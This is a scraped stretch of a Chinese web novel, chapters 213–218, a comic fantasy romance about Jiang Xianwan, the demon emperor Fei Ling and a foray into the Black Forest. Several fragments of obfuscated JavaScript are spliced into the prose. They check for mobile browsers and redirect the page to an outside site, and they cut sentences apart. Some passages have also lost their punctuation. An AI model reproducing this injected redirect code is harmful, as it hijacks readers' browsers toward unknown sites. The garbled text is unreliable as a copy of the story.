还当着她的面蛐蛐他家狼心狗肺的皇变心变的比翻书都快,给南境那个江献晚戴绿帽子,让她也小心一点。 不过,想到什么,江献晚用力掰开他小臂,磨着牙根道:“你能不能消停点,再故意惹风回雪生气试试?” 她在魔都的这几日,非翎的信息在‘相亲相爱一家人’信道中,刷屏都刷出天际。 嗲着嗓子,嘟着唇瓣。 “哥哥哥哥,你们看我和晚晚在做什么?” “哥哥哥哥,我和晚晚要吃饭了。” “哥哥哥哥,我和晚晚要睡觉了。” “哥哥哥哥,我和晚晚去约会了。” “哥哥哥哥,你看晚晚和我的衣裳。” “哥哥哥哥……” 翻不完,根本翻不完。 风回雪气的不轻,从早到晚,再从晚到早,那是嘴都不带停的。 库库破口大骂,把非翎的十八辈祖宗一个不差的全问候了。 每次回过来的语音,时长皆是极限。 但,不是狐狸的极限。 第 213 章 我就是这么贱 花美人云为泽和帝隐这几日在信道中,也相当活跃。 看得出,非翎他……真的很贱。 举一人之贱,激怒四个哥哥。 犹记得前天晚上,她刚从汤池出来,洗完澡的非翎就跟个骚气四溢的扑棱蛾子似的,从侧殿扑了过来。 “晚晚,你闻闻我香不香? 另一头的风回雪:“香你***!非翎!我***!劳资扒了你的皮! 江献晚:“…… 魔皇就跟个小碧螺春似的,红着眸子,扯着嗓子,对着玉简好一阵嘤嘤啜泣。 “哥哥怎的又生气? “原是我不对,我不怪哥哥,哥哥只是太在乎,所以才会针对我,对我这么凶,可晚晚又不是哥哥一个的啊。 “哥哥就不能大度点嘛~ “哥哥这样子,多影响咱们一大家子的感情啊~三个哥哥,你们说是不是呀~~~ 江献晚:“…… 到底是谁在影响感情? 他心里没点数? 可想而知,非翎这几日,日夜在信道里单方面得瑟、贱嗖嗖的举动,将他那几个哥哥撩的满肚子火。 且不说一点就炸,炮仗似的狐狸,骂的那叫一个长篇大论、孜孜不倦,语气形容词皆是荡气回肠、情感丰富、令人折服。 北帝尊语气倒是听不出情绪,如往常清冷疏离,宛若山巅皑皑白雪般。 三言两语,看似平淡。 可江献晚知道,冰雪似的、性子最好的北帝尊……难得被非翎撩出了一点气。 还很委屈。 声线冷的如同冰珠坠地,碎裂无声。 尾音悬颤,余韵似空中悬挂的霜丝。 “非翎,你真的是……贱。 江献晚:“…… 别说,真别说。 帝隐都学会说脏话了。 牛逼。 云为泽自然也掺和了一脚。 南帝尊笑的淡若云烟,但不难听出这几日亦是憋了一肚子气。 他说话声调原本清越如泉,随着他指尖无意识的轻叩,压的轻而缓,无形将风暴推至顶颠。 “非翎,你还真是 ……贱。” 花不休漫不经心,散漫慵懒,似乎在吃荔枝。 同样自有一股强行压制的冷峭,顺着耳廓一路冷透下去。 “江献晚,你还想待到什么时候?” 下一句,声音更沉、更缓,每个字都像在冷水中浸泡许久,带着冰凉的重量。 “呵。这么贱的,不多了。” 被几个哥哥问候了半夜的非翎笑的合不拢嘴。 “唉,我就是这么贱。” 江献晚:“……” 认知清晰的他还挺自豪。 江献晚只能麻木的盘腿坐在床边……嗑瓜子。 听五个男人通过玉简吵的不可开交、乱七八糟,迅速进入一种无差别攻击的大乱斗模式,她还插不上一句嘴。 当然,那样一种情况下,让她插她也不插。 想到这里,江献晚再次有气无力的推开他。 非翎嘟着唇哼唧,“我哪里敢惹哥哥生气,明明是哥哥自个小气。” “晚晚偏心。” 他还不是想多活跃一下气氛,带动几个哥哥增进彼此间的感情。 事实证明,效果奇佳! 他们五个的关系,迅速达到了一种无话不说、独属于自家人的亲密! 连帝隐那个半天说不了几个字的,都发了一串又一串的语音。 更别提另外两个哥哥,话都挺密的,互动的热情,可以说是极情尽致! 最叫他开心的还是: 没气度的狐狸气昏了头,竟然骂了一句:“江献晚!看看你找的什么男人!!!” 看吧,大房已经变相的承认他了! 非翎想想都开心,不厌其烦、第无数次圈上江献晚的腰肢连摇带晃,脸直往她脖颈里又嗅又拱。 就好像他是个狗,江献晚是个……带肉的骨头。 “我跟你去好不好?” “妖域这几日不安全,顺便把咱儿子接过来。” “行行昨个还回我信息了,正好,妖域肯定玩腻了,回魔域,我带咱儿子玩些日子。” 江献晚表情显得有些麻木,更正道:“那是风回雪的儿子。” 非翎委屈反驳,“那也是我儿子。” 对此,江献晚睫毛一掀,微微一笑,唇轻启,吐出一个字。 “滚。” 接走行行? 帝隐都做不到,不敢做的事儿。 信不信风回雪一口咬死他,再咬死她。 非翎瘪瘪唇,勉强道:“行吧,都听你的。” 又委委屈屈拨她腰间垂落的红丝带。 “你走了,那我怎么办?” “晚晚,我舍不得,我想跟你一起走。” “把我带上好不好?” “好不好嘛~” 江献晚被晃的头晕眼花,虚弱的扯了扯唇角,“离了女的你是**了么。” 非翎嘴巴一张,为自己证明,“瞎说。是离了你,**。” 江献晚:“哦,那你别活了。” 非翎:“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965114|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 非翎直嘟唇,视线落定在江献晚脸上。 他的眸子并非纯然的墨色,而是在沉郁的底里,融着一层极淡的银灰。 本无温度。 却因江献晚身上烈火般的红裳,涌动着喷薄灼热的烈焰,纤毫毕现的剥开自个的心思,无所顾忌。 他忽然起身,将面前人横抱了起来。 江献晚身体失重,愣神之际,下意识勾住他的脖领,红裳缠着红裳,分不清是谁的。 察觉到这个该死的动作,一哆嗦,火燎似的撒手。 “非翎!” 非翎大步走入寝殿,一脚将门踢合,绕过轻薄的红绸,俯身将她放在榻上,却并未立刻直起身。 他极缓慢的眨了一下眼,浓密的眼睫如同垂落的鸦羽,轻轻覆下,又抬起。 就在这开阖的瞬间,骤然掀起令人心悸的欲色。 江献晚的衣裳,是特意连夜赶制出的,同他的款式相配。 与他在一起,仿佛是天作之合,相得益彰,最合适不过。 此刻他们更像是穿着吉服,准备入洞房的新婚夫妇。 非翎视线自上而下,一寸一寸不由自主滑过她的唇,落在娇媚挑起的锁骨,暗下眼。 温热的指腹轻轻抚过,留下一抹薄薄的、令魔想入非非的绯靡之色。 叫魔心生摇…… “嘶!” 摇曳不了一点。 非翎疼的薄唇发出一声轻嘶,倒吸一口凉气。 干净清澈的声线,掺杂了一丝丝欲望,听上去有些低哑。 “唔……轻点……” 江献晚两根手指拧在他劲腰的肉上,脸比夜色还要黑三分,从牙关里挤出一句,“你又发什么骚?” 他缠人的功夫是在花巷的培训班学来的吗? 骚起来比风回雪还要像只狐狸。 非翎将人笼罩在视线下,撅着嘴,“还不是你冷落了我。” “我是给自己找媳妇,又不是给他们找媳妇。” “才留了几天,就要丢下人家回去找哥哥,我不管我也要去。” 江献晚心累极,闭了闭眼,简洁道:“滚!” “不要。” 他唇角抿出两个浅浅的小梨涡,眼底深处却是浓浓的不舍。 眼睛轻轻一眨,将那些心绪压下,避而不谈。 退而求其次。 “那你陪我出去走走。” “不去。” “不去?” 非翎不慌不忙,捉了她的手,十指紧紧相扣,下颌傲娇一抬,耍无赖。 “不去我明日同你去界域。” 第 214 章 有毒 江献晚盯了他三秒。 心累投降。 “逛! “叫上霓裳和幽冥。 她确定,她今晚若不去,非翎真的能死皮赖脸,跟去妖域。 信不信风回雪能原地气出花。 非翎不愿意了,他好不容易赶走没脑子的幽冥和霓裳,拖长嗓子,浑乱去拱她脖儿。 肝肠寸断,梨花带雨。 “不要! “就我们两个去! “晚晚~ “晚晚~ 谁家夫妻约会带俩没用的大灯泡! 还是只会拖他后腿,跟他抢媳妇的灯泡! “那就不去! 喊碗也不行。 当然。 喊锅也不行。 男人不能惯,上脸。 非翎:“…… 得到江献晚八风不动的眼神,非翎瘪了瘪唇,半晌,不情不愿,“行吧。 手穿过江献晚的双腿,便又是欢喜依旧,将她往上轻轻一抛。 “走喽,走喽,魔皇魔后去魔塔了~ 江献晚:“…… 兴许是折月节的缘故,偌大的一片魔殿,平日侍奉的魔,现下少了许多。 非翎命魔侍唤来霓裳和幽冥,一行来到街上。 霓裳和幽冥跟在屁股后面,兴奋的连比带划,毕竟,这种盛况,三年才会举行一次。 街道此刻魔来魔往,魔潮川流不息,看起来整个魔都的魔全部汇聚于此,朝着同一个方向涌去。 有不少魔摆起了长长的摊,趁机大赚一笔。 热闹的样子竟有种来到凡间的错觉。 更意外的是,江献晚发现这些魔见了非翎,非但不怕,反而狂摆手臂,大声喊一句。 “哟!吾皇您亲自来逛街了? “哇!吾皇,这就是您给自个找的老婆吗?魔后魔后!泥好哇! 江献晚:“……泥好。 看非翎的眼神不由得多出几分诧异。 能将魔域管成这般模样,不得不说,非翎是有点实力和……宽容在身上的。 非翎像是习惯了,“嗯 魔皇那片宫殿占势极好,离魔塔的位置也很近。 非翎从魔堆里挤出来,将刚在摊位上买的一碗冰枣粥搁在她手中,重新护回臂弯,嘴唇又嘟了起来。 “太挤了。 他本来想亲手喂晚晚吃,增添夫妻间的情趣,这会儿连多余的手都腾不出来。??????? 江献晚也觉得太挤了。 就跟掉进密密麻麻的魔窝一般,几乎是脚尖挨着脚后跟,一步一挪。 就算非翎一直抬着胳膊,还有霓裳和幽冥护着,他们都被挤了十几下。 可想这折月节有多热闹。 幽冥耳朵很尖,一听他俩说挤,果断气沉丹田,声音乍然响彻整个魔都上空。 “吾皇吾后驾到!尔等统统闪开! 说罢,飞给江献晚一个‘我办事您放心’的眼神。 霓裳都给他整无语了。 看着骤然腾出来的两米宽街道,和无数魔热情似火投来的注目礼,一口一个魔后,原地蹦跳,双臂挥舞,都来跟她打招呼。 江献晚一口粥举在半空中,吃也不是,不吃也不是。 非翎无辜眨眼,却是压不住的羞涩。 “这真不关人家事~ 他确实只是想同江献晚走一走。 没想到傻蛟倒是干了一件好事。 这个名分,江献晚她今儿不给也得给了! 嘿嘿…… 非翎这一刻对幽冥达到顶峰的认可,连幽冥都感觉出来了。 他撇撇嘴,理直气壮,“我可不是为了你,我是为了魔后。 非翎不仅不同他生气,看着江献晚只能僵硬的搁下勺,领导体贴民众似的,一一招手回应,瞬间燃起来的互动。 反而拍了拍他的肩膀,语重心长。 “打小我就看好你,很好,继续保持。 幽冥:“…… 江献晚和霓裳已经手拉手,从腾出来的街道朝魔塔前进。 只是。 当一个身着繁复华丽祭祀服,看起来是大祭司 的魔兴冲冲塞给她一把通体漆黑隐隐泛着猩红花萼纹路的魔弓江献晚愣了一下。 “这是……几个意思?” 霓裳凑过来看了一眼“你对着魔塔尖尖拉一下。” 非翎笑吟吟的静静立在江献晚身后看两个交头接耳的姐妹指尖却是紧张的缓缓蜷起手心沁出一层细汗。 江献晚扭头朝他看了一眼 魔弓被拉至满月一支红色的箭矢凌空带起一路猩红的地狱之花陡然划破长空朝着魔塔顶尖而去。 刹那间漆黑的魔塔骤然光芒万丈似刺破云霄一般。 砰—— 非翎下意识屏住呼吸眼底映着紧跟着漫天燃起的烟花和纷纷悬舞的花萼耳畔是四面八方震耳欲聋的欢呼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965115|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声声魔后皆砸在他心尖。 见江献晚懵懵回头他缓缓吐出一口气喉间溢出一声轻笑。 点了这塔从此以后他便彻彻底底是江献晚的人哪怕神魂消散。 —— 长眠之河是魔域极具特色而又有代表性的河。 河里修为高的那十来个魔兽早已开了灵智智商二百五各个是难缠的活化石。 听说从此处经过的魔都会遭受到这些魔兽的热情问候。 它们当然不会弄死自个家的弟子但它们会用鱼鳍、触手或是身上的其他零件梆梆给你来上这么几个大逼兜。 霓裳踩在法器上捂着高高肿起的玉臀哭的稀里哗啦。 “我屁股疼。” 幽冥用手背抹去豆大的**泪水摇摇欲坠。 “它们竟然合伙破开了我强悍的结界抠走我三枚鳞片镶在牙上!” “三枚——!” 扭头朝长眠之河里缓缓沉到水底的巨大黑影狠狠呸了一口。 “瞎了你们的眼自家魔也特么抠!” “难怪叫什么抠兽、大逼兜发放兽!” 他看向神色正常的江献晚更想哭了。 “你不是魔修也没跟皇修炼合欢术修为比我低它们怎么不打你?” 霓裳:“对啊它们怎么不打 你?” 照理说,不是魔域的弟子,就算有他俩跟着,也该挨最狠的大逼兜才对。 对此,江献晚摸了摸袖中的骨簪,四十五度角望天,一脸高深莫测。 “可能是刚才我不小心掉了几个包子。” 大半夜,非翎不睡觉,爬起来钻厨房做的。 说什么要让她每天都能想起他自个的味道。 还是特意请教了帝隐,线上在帝隐的全程指导下,蒸出了三锅。 也不知道哪个步骤不对,又或者放调料捏包子的姿势不对。 说真的,没帝隐做的好吃,也报看。 帝隐当时看着新出锅的包子,难得陷入一种海枯石烂的沉默。 看得出来,北帝尊深深怀疑自己的教学能力。 半晌,清冷的声线,罕见的复杂和飘忽,唇瓣几番翕合,努力吐出了几句话。 如下—— “不堪入目……有毒。” “你吃。” “不可给晚晚吃。” “不可……绝对不可。” 一连三个不可。 非翎:“……” 第 215 章 卧了几个底 非翎抱着他那三锅丑的别出心裁的包子,哼唧的跟个流泪的喇叭花似的。 还反过来怪人家北帝尊净会吹牛,纸上谈兵。 北帝尊当即不开心了,抿着唇角,在另一头卷起袖子,生起了火,活起了面。 非翎看着那三屉不同口味,各个被捏的精致、几乎如出一辙的小包子。 再看自个面前一坨坨的不明物,嘤地一下,哭的那叫一个九曲十八弯。 伏在她肩头,委屈的轻颤着,又倒打一耙,说哥哥明摆着欺负他,故意叫他在他们老婆面前丢脸。 不依不饶,要她给他做主。 江献晚浑身刺挠的直掏耳朵,二话不说,把他那三锅又黏又烂,看不出形状的包子塞进了芥子囊。 然后…… 终于受不了他嘤嘤个不停的无理取闹,在帝隐眼底隐含期待的注目下,摁着非翎暴打了一顿。 他自个不行,还怪别人行? 不得不说。 爽了。 通体舒畅。 帝隐当时的表情……看起来也挺爽,挺舒畅的。 泛红的耳尖,还有那轻抿的唇角,小弧度压都压不住。 幽冥:“……”这样的吗? 霓裳不信邪,手一摊,跃跃欲试。 “还有吗?给我几个,姐妹儿我再去试试!” 江献晚昧着为数不多的良心,甩烫手山芋似的,不等霓裳的手完全打开,大方的塞给她一笼生化武器。 “给!” 十秒后,霓裳嗷嗷惨叫着,捂着又肿了不少的玉臀逃命而来。 “太过分了!它们竟然说我往河里丢屎!” 江献晚:“……”看吧。 她都没好意思说那是屎,非翎是怎么有脸让她给他做主的? 幽冥拍腿大笑,“哈哈哈!还好我聪明!” 三个叽叽喳喳穿过长眠之河,行一千里,很快来到界域边界。 黑森林山高林密,宛若天然形成的守护屏障,又有大阵结界加持。 大风吹过,万木倾伏,宛如大海里卷起飓风,波翻浪涌,刹那间,轰轰声响不绝于耳。 想进去,简直难如登…… “天?”幽冥瞪着江献晚没入结界的半只手一整个亚麻呆住“你为什么能进去?” 他现在对自家魔后可谓是言听计从身和心短短三日彻底向魔后靠拢亦是关系如铁的狐朋**。 霓裳跟着露出惊呆的表情胳膊圈上江献晚的脖颈压低声音悄咪咪。 “不是你南境的还是界域的?” 她该不会是个卧底吧? 谁家的卧底? 卧谁的底? 卧了几个底? 界域人妖魔三族鼎立。 怎么区分是不是自家而不是其他境域的全凭着界域特制的身份牌简称界牌。 界牌亦是传讯工具内含持牌者的身份简介还有一缕精血神识可纳入识海之中。 别有用心的就算能抢到界牌也根本毫无用处不仅会被界牌上的阵法锁定气息还会享受到界域上下的狂热追杀不死不休。 江献晚就算是界域弟子化神修为也不该伸伸手指头的事儿就能轻松自如的穿过传说界皇亲手所布下的恐怖结界。 这又不是她布的! 江献晚也很惊讶原本看着泛着金色光泽的结界手贱摸了摸。 没想到 她略略思索正色道:“可能是因为我长得太好看!” “切。”幽冥和霓裳一同翻给她个白眼“我觉得你真的有点想多了。” 江献晚脸上贴的画魔这就导致她现在的脸平平无奇。 俩魔心比锅大根本没纠结她为何不被黑森林结界约束相反很开心。 “什么破结界我看也不过如此。有这样子的结界咱们的魔碑可以直接薅过来栽黑森林了!” “栽什么栽咱俩进不去怎么办?” 江献晚:“我拉着你们?” 江献晚拉着霓裳霓裳拉着幽冥。 她倒是能轻易穿过结界两只手相连的位置再拉却不能前进半分。 只好退出来。 这次江献晚在中间结果幽冥和霓裳横着都进不去。 幽冥是个大聪明很快发现问题所在。 “难道是咱们的姿势不对?” 霓裳:“你的意思是,上下?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965116|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江献晚还是不发表看法了。 俩魔蹲在地上商量半天,幽冥吓得直摆手。 “不行!她现在骑了我,就咱们皇小肚鸡肠争风吃醋的劲,肯定要扒了我的皮,把我脑袋拧下来当球踢!” 霓裳被他蠢笑了,“你不会变成原形让她骑吗?” 幽冥呵呵反问,“那你怎么办?你总不能骑她?” “你信不信皇扒了你的皮,把你脑袋拧下来当球踢!” 霓裳吓的脖子一缩,“那你说怎么办!” 江献晚听不下去了,“有没有一种可能,我把幽冥揣兜里,然后骑你。” 这一句,直接给俩魔干沉默了。 幽冥一句话没说,高大强壮的身形,噗嗤一下缩小。 仿佛一条黑色的细蛇,缠上江献晚的手腕,绝不碰到丁点皮肉。 江献晚带着幽冥试了一下,别说,还真成了。 倒是霓裳欲言又止,似乎有话要说。 一人一魔向她投以询问的目光。 后者扭捏的扭了扭小蛮腰,眼皮疯狂抽搐,娇滴滴道:“我第一次让女的骑,你以后可得好好对我。” 幽冥:“……”她是活够了吗?敢跟皇抢老婆? 江献晚:“……”这么说的话,要不就算了。 霓裳已经准备好了,双腿弯曲,双手握拳,双臂伸出,“哈!来吧!好姐妹儿!我准备好为你而献出我自个性感、火辣、风骚的肉体了!” 江献晚:“……”谢谢,婉拒。 禁不住霓裳催促而热情的小眼神……江献晚还是骑上了霓裳。 没想到这一招果然有用,真就给进来了。 穿梭在阳光都照不透的密林之中,厚重的树冠层如同万片翡翠雕琢的穹顶,严密封锁了天空。 江献晚拨开一片巨大的蕨叶,倒是认真的想了想,自己为何能穿过黑森林的结界。 灵光一现,白皙的指尖动了动,开始在芥子囊中翻找。 幽冥咬着一根随手揪来的狗尾巴草,好奇地凑过来,“找什么?” “这个。” 江献晚终于在犄角旮旯里,找到要饭小老头给的那块又破又烂的墓碑。 第 216 章 她最喜欢的是我 “你俩看看这是界牌吗?” 霓裳瞅了一眼摇头“不是。界牌都是白色的听说只有三王的是金色。” “你这个颜色就不对材质更不对连一丝气息都没有根本不可能是界牌。” “你在哪里弄的一块破石头?是不是住客栈拿了人家的房牌没还?” 江献晚也觉得自个想多了收起破破烂烂的墓碑摇头道:“一个要饭的小老头给的。” 她以为界牌的样子会和墓碑长的差不多呢。 也是若真是界牌她恐怕早就受到界域修士的疯狂追杀了。 却没发现那块巴掌大的墓碑在掉落芥子囊的那刻轻轻一颤有如烟似雾极稀薄的雾气光线无声游弋起来。 墓碑方醒迷茫一瞬。 而后毫不见外一头扎在那张又软又大的榻上……顺便将呼呼大睡的剑撞飞。 江献晚不喜用剑‘等等’在她手里几乎无用武之地每天不是在睡觉就是在睡觉的路上。 突然被拍到灵石堆里立时惊醒在看到那块满床打滚的破石头整个剑身蹭地警惕竖起。 “你是谁?” 墓碑:“……?” 墓碑人似的缓缓浮起来似乎在打量它。 半晌清凌的嗓音很是臭屁。 居高临下。 趾高气昂。 “你也配问我的名字?” “小东西你又是谁?” 这种不礼貌的态度和语气 剑身流转的水纹眨眼凝冰垂覆一片又一片的透明霜花。 出于礼貌又或者感受到对方来者不善与剑老大给它的危险感不遑多让甚至比剑老大恐怖许多。 先发制人。 “我是晚晚最喜欢的灵剑!” “请你立刻、马上、就现在从晚晚的床上下来!” 墓碑:“……” 谁最喜欢的什么? 谁是谁最喜欢的? 一个连契约都未契约的破烂? 晚晚? 让它下来? 墓碑似是思索它话的真假围着 那把四周轻旋着霜花、姿态骄傲的灵剑,缓慢的转了三圈。 在眼前这把灵剑漂浮,试图与它平齐之时。 “咣当”一下,将剑灵拍晕过去,剑身更是随着这一拍,咔嚓碎了几道裂纹。 墓碑登时没了刚才悠然自得、高高在上的模样,哆嗦着身子,激动的连声破口大骂。 “她最喜欢的是我!” “我呸——!你也配——!!” “还晚晚?” “什么档次,晚晚也是你能叫的!你跟帝隐给她提鞋都不……呃。” 察觉到江献晚忽然轻轻蹙眉,似有所察的微小反应,破如防的墓碑,麻溜往床上一躺,装死。 不行。 它刚醒就把虎娘们不知从哪里捡来的破烂拍碎了,让她发现,虎娘们一定会碎了它的。 江献晚并未注意到芥子囊中的动静,弹指一击,将那扯着脖儿,在头顶嘎嘎直叫个不停的鸟掀飞了出去,眉心重新舒展。 幽冥很是激动的继续道:“通常这种小老头在书中都是什么恐怖的隐士大能,故意扮做凡人,实则在苦苦寻找一个有缘人!” “我觉得你发达了!” 江献晚有些无语,不过还是煞有其事的点点头,“是吧?他说他是天道使者。” 墓碑:“……” 霓裳先是嫌弃地白幽冥一眼,“你少看点你那些什么龙傲天的破书!” 又充满怜惜的瞅江献晚,“姐妹儿,你醒醒。” “我还说我是天道使……” 一句话没说完,霓裳踏出的脚踩空,下坠的那一刻,顺手抓上了幽冥的裤子。 “啊啊啊!” “啊啊啊!” “嗷!” 最后一声惨叫是霓裳发出来的。 “幽、冥!把你的**给我从老娘头上滚下去!” “谁让你拽我裤子!你这个女色魔是不是想趁机占我便宜!” “你可滚吧!我占你便宜?呵呵!” “哪个缺心眼的大傻春挖这么深一个坑!” “不行了!好大一坑屎啊!” “你天道屎者吧你!” “哕!” “ 哕!” 两魔齐齐作呕的声音,回荡在又大又深的坑中。 准备搭救的江献晚当机立断缩回手,双手呈喇叭状。 “下面的朋友,你们还好吗?” 霓裳幽冥:“……” 你猜我们好不好? 掉进屎坑里,你觉得好不好? 俩魔抽搐着眼皮,踩着粑粑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“闭嘴,有没有公德心,面对这么帅气漂亮的兽兽,你俩是怎么说出这种冰冷无情的话的。” 墓碑:“……” 不是。 臭娘们变化真大,都知道公德心了? 墓碑僵硬的翻了个身,似乎一时无法接受江献晚变成了现在这个样子。 兽兽却赞同点头。 江献晚谴责罢,忽而又变了一副面孔,声音充满慈爱。 “没关系,你拉。” 她喜欢一切漂亮的事物,尤其这种带**的,挺不忍心对着一个貌美的兽动粗。 听她温柔的嗓音,装死的墓碑,一抖,一抖,又一抖。 第 217 章 乖,让让女孩子了 扒着坑的霓裳幽冥:“……” 她是魔鬼吗? 她还叫什么白莲花干脆改名黑莲花得了! 兽显然是满意了抖抖**全身都在用力。 然而大海般水汪汪的兽瞳对上捧着脸蹲在地上鬼鬼祟祟瞟它小铃铛的人族女修莫名有种蛋蛋的凉爽。 它下意识夹紧屁股命令道:“转过去!” “好勒!”江献晚爽快的转到它身后“转过来了。” 兽兽菊花一紧:“……我是说让你转过去!” 江献晚只好又跑到它前面好脾气道:“到底转哪去?” 拉个屎毛病怎么这么多? 兽有些绝望爪子烦躁地刨了一下土留下一抹灰白影子蹿到了草丛中。 江献晚一手一个将霓裳和幽冥从屎盆子里拉出来俩魔各自找了棵树一抱开吐。 兽此时已经憋不住没空管他们双瞳迷离而满足鼻腔发出一声舒服的气息。 正是畅快的不能再畅快的时候猛地对上一双色眯眯的眼睛一哆嗦。 “干嘛?” 江献晚扒开草丛掏出几张柔软的纸递给它。 “给你待会擦屁股。” 擦、擦屁股? 它? 兽不可思议地瞪大眼睛险些晕过去强烈拒绝她的好意。 “不……” 拒绝的话还未说完便看到这个人族女修用一种‘你拉屎难道不擦屁股’的震惊眼神看它。 忙张嘴叼过几张纸。 现在总可以开开心心拉个屎了吧? 岂料这个人族女修不但没有离开的意思反而蹲下了身子 “我能摸摸你吗?” 摸、谁? 它? 拉屎的兽兽脆弱无比想给她一爪子还动不了。 僵硬着四条腿咬着纸含糊不清的坚定拒绝“不能!” “行吧。”江献晚失望的摸了摸它的脑瓜子“那我走了。” “嗯。” 兽毛茸茸的脑袋一点望着离去的背影总觉得哪里不对。 江献晚也觉得哪里不对。 她回想了一下幽冥昨天拿来的界域信息。 裴长安倒是不在此行交换弟子之内此次来黑森林的除了几个界域弟子林轻染也赫然在列。 他们今日来好像是在找一头叫什么天雪白尾的灵兽。 听起来很高级的样子。 江献晚走到两个还在吐的魔面前替霓裳顺了顺背“先别吐跟你们说个事。” 幽冥苍白着脸小眼神幽怨“什么事?你刚才让它在我们头上拉屎的事吗?” 霓裳紧跟着投来谴责和受伤的目光激动道:“白莲花我看你改名黑莲花好了。” 江献晚眼神飘忽轻咳一声“你们听我狡辩。” “我能真的让它骑你们头上拉吗?” 幽冥:“你能。” 霓裳:“你能。” 你啥事干不出来早在玄古大赛**献晚坑了一把闷了一锅她就明白了。 此人黑心莲。 幽冥虽跟她短短相处几日不过她能骑着皇将皇揍的鼻青脸肿又是给皇戴绿帽子让皇睡地板训狗似的还有什么不能。 江献晚唇角微不可察地抽动一下很有先见之明的转移话题。 “我好像发现天雪白尾兽了。” 俩魔果然短暂的忘记刚才江献晚是如何谴责他们帮一个外兽眼睛通电脑袋左右摇摆。 “在哪呢在哪呢?” “它好像在拉屎。” 霓裳和幽冥顺着她的视线看向晃动的草丛顿时露出嫌弃的表情。 “你说这个随地大小便的兽是天雪白尾兽?” 霓裳很直接还很暴力指节捏的咔咔响。 “管它是不是走抢了它再说!” 让界域那群大傻春也尝尝兽兽被抢的滋味! 还有那一锅……刻骨铭心的花生! 此仇不报誓不为魔! 江献晚拦下两个暴力分子 幽冥霓裳:“哕!” 墓碑:“……” 一分钟后。 天雪白 尾兽一边望着撒丫子撵兔子的一人两魔,一边埋屎。 埋完屎,轻轻一个跳跃,就要离开,在他们又架起火堆,拿出**时,爪子下意识抓紧树干,留下。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965118|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接吃不是更新鲜吗? 那个给它递纸的人族女修掏出的那堆瓶瓶罐罐,又是什么? 它看着看着,不自觉入迷,大长尾巴一甩,垫在屁股下。 最后看累了,干脆趴在树干上,一下没一下的晃着尾巴。 直到一股诱人的肉香钻入鼻尖,天雪白尾兽猛地抬起头。 这时候的俩魔早已忘了初衷,四只眼睛直勾勾的盯着架在火堆上,刺啦流油的烤兔。 不争气的口水擦湿了两只衣袖,哪里还记得什么这兽那兽。 霓裳咕咚咽了咽口水,“可以吃了吗?” 她终于理解界域小队那几个脑干残缺的玩意,为了一锅花生,就跟自个媳妇被人抢了似的。 那库库一顿给她挠的。 江献晚的手艺,跟她的黑心肝一样,可真是令人拍手叫绝! 幽冥急的尾巴都冒了出来,面颊上隐约浮现鳞片的形状,“可以了吗可以了吗?” 这是什么神仙魔后啊! 暴揍得了魔皇,还下得了厨房! 他果然做出了这辈子最明智的决定! 江献晚这会儿馋虫也被勾了出来,用**割下一只后腿递给霓裳,又割下一只前腿递给幽冥。 幽冥有些不乐意,“魔后,您怎么老是偏心霓裳?凭什么她能吃后腿,我也是你的魔啊!” 江献晚很是淡定,“乖,让让女孩子了。” 幽冥红着脸不说话了,喜滋滋地拿起兔腿,一口咬了下去。 魔后喊他“乖”唉~ 嘿嘿…… 俩魔吃的满嘴油,发出满足的叹息。 “好次!!!” 江献晚对自己的厨艺还是很有自信的,割下一条后腿,对蹲在树杈上的兽兽一摆手。 招呼道:“咪咪,过来吃饭了。” 正偷偷狂咽口水的天雪白尾兽尾巴一僵,海蓝色的瞳孔有些疑惑。 它扭头看了一眼四周,再低头看看自个,终于确定江献晚是在喊它。 纠结的考虑了一会儿,最后还是没能经得住烤兔腿的诱惑,一甩尾巴,轻巧的跳下去,飞快叼走**上的兔腿。 这可是你让我吃的。 第 218 章 她都会做饭了 